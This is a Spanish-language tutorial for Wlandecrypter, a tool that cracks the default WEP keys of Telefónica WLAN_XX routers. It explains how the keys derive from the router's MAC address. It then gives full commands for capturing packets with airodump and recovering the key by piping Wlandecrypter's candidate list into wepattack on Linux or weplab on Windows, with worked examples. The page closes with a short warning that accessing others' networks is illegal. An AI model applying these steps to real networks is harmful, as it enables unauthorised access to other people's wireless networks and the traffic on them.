Wlandecrypter es un programa para desencriptar muy rapidamente las redes inalambricas con el nombre WLAN_XX ( XX son dos digitos hexadecimales). Estas redes son tipicas de los router de IMAGENIO y ADSL de telefonica.
El funcionamiento es muy sencillo, el programa genera una lista de todas las posibles claves que puede tener por defecto un router de este tipo basandose en la mac de su interfaz wireless.
En realidad la clave esta compuesta de la siguiente forma:
Primera letra de la marca del router en mayúsculas (Comtrend, Zyxel, Xavi)
MAC de la interfaz WAN del router (es decir, del modem ADSL interno)
Además el nombre de la red es WLAN_XX donde XX son los dos ultimos digitos de la MAC de la interfaz WAN.
Como cada router tiene una asociacion entre el fabricante de la interfaz wireless y de la interfaz WAN, puesto que se hacen en serie y con las mismas piezas, si sabemos la MAC de la interfaz wireless tambien sabremos los 3 primeros pares de digitos hexadecimales de la MAC WAN (que corresponden al fabricante).
Para usar este programa debemos tener al menos un paquete IV. Pero si no es posible capturar ningun paquete consulta: Usar Wlandecrypter sin paquetes y sin clientes.
GNU/Linux
Necesitamos el programa WepAttack para pasarle la lista generada por WlanDecrypter y el se encargara de buscar la clave (en unos 15 segundos o menos la tendremos lista).
Instalando WepAttack
Para instalarlo tecleamos lo siguiente en una consola:
$ su (si usamos ubuntu: $sudo su)
Password: ...
# cd directorio_de_descarga
# tar -zxvf WepAttack-0.1.3.tar.gz
# cd ./WepAttack-0.1.3/src
# make clean && make && make install
Instalando WlanDecrypter
Para compilar WlanDecrypter bajamos el archivo comprimido y ejecutamos losiguiente:
# cd directorio_de_descarga
# tar -zxvf WlanDecrypter-0.?.tar.gz
# cd wlandecrypter-0.?
# make && make install
Desencriptar redes
Para empezar a desencriptar redes capturamos paquetes con el programa airodumpque se encuentra en la suite aircrack.
Con el comando:
# airodump nombre_interfaz nombre_archivo canal
Por ejemplo, en una tarjeta atheros para capturar paquetes en el canal 5:
# airodump ath0 captura 5
Una vez que tengamos algun paquete de la red en cuestion, salimos de airodumpcon Control-C.
Ejecutamos wlandecrypter de la siguiente manera:
# wlandecrypter bssid essid | wepattack -f nombre_archivo.cap
En el ejemplo anterior para una red llamada WLAN_b5
# wlandecrypter 00:03:C9:XX:XX:XX WLAN_b5 | wepattack -f captura-01.cap
Al momento si la contraseña esta por defecto wepattack os la chivara.
Si no sale, lo mas probable es que la contraseña haya sido cambiada.
Windows
Captura con airodump para windows los paquetes que necesites, tambien puedes usar Commview pero es muy importante que guardes la captura en formato .cap (libpcap).
Bajate el archivo WlanDecrypter para Win32 y descomprimelo.
Con Windows usaremos weplab en lugar de wepattack.Debes bajar y descomprimir el paquete de weplab en la misma carpeta que wlandecrypter.
Abre una consola de DOS y ejecuta los siguientes comandos:
cd carpeta_de_wlandecrypter
wlandecrypter.exe bssid essid | weplab --key 128 -y --bssid bssid archivo_de_paquetes
Ejemplo:
Para desencriptar una red llamada WLAN_1C con la mac 00:60:B3:XX:XX:XX ejecutalo siguiente:
wlandecrypter.exe 00:60:B3:XX:XX:XX WLAN_1C | weplab --key 128 -y --bssid 00:60:B3:XX:XX:XX archivo_de_paquetes.cap
Descargas http://code.google.com/p/wlandecrypter/ Referencias
WepAttack: http://wepattack.sourceforge.net/
WepLab: http://weplab.sourceforge.net/
Suite Aircrack-ng: http://www.aircrack-ng.org/doku.php
Articulo sobre wlandecrypter en cyruxnet.org: http://cyruxnet.org/archivo.php?20060406.00
Atención: Acceder a redes ajenas sin autorización del propietario es un delito. No uses este programa para otro fin que no sea testear la seguridad de tu red.
Gracias a todos los colaboradores que me han ayudado sobretodo a mis buenos amigos Viko y miginside.
Por Nilp0inter (Rusoblanco) http://www.rusoblanco.com |
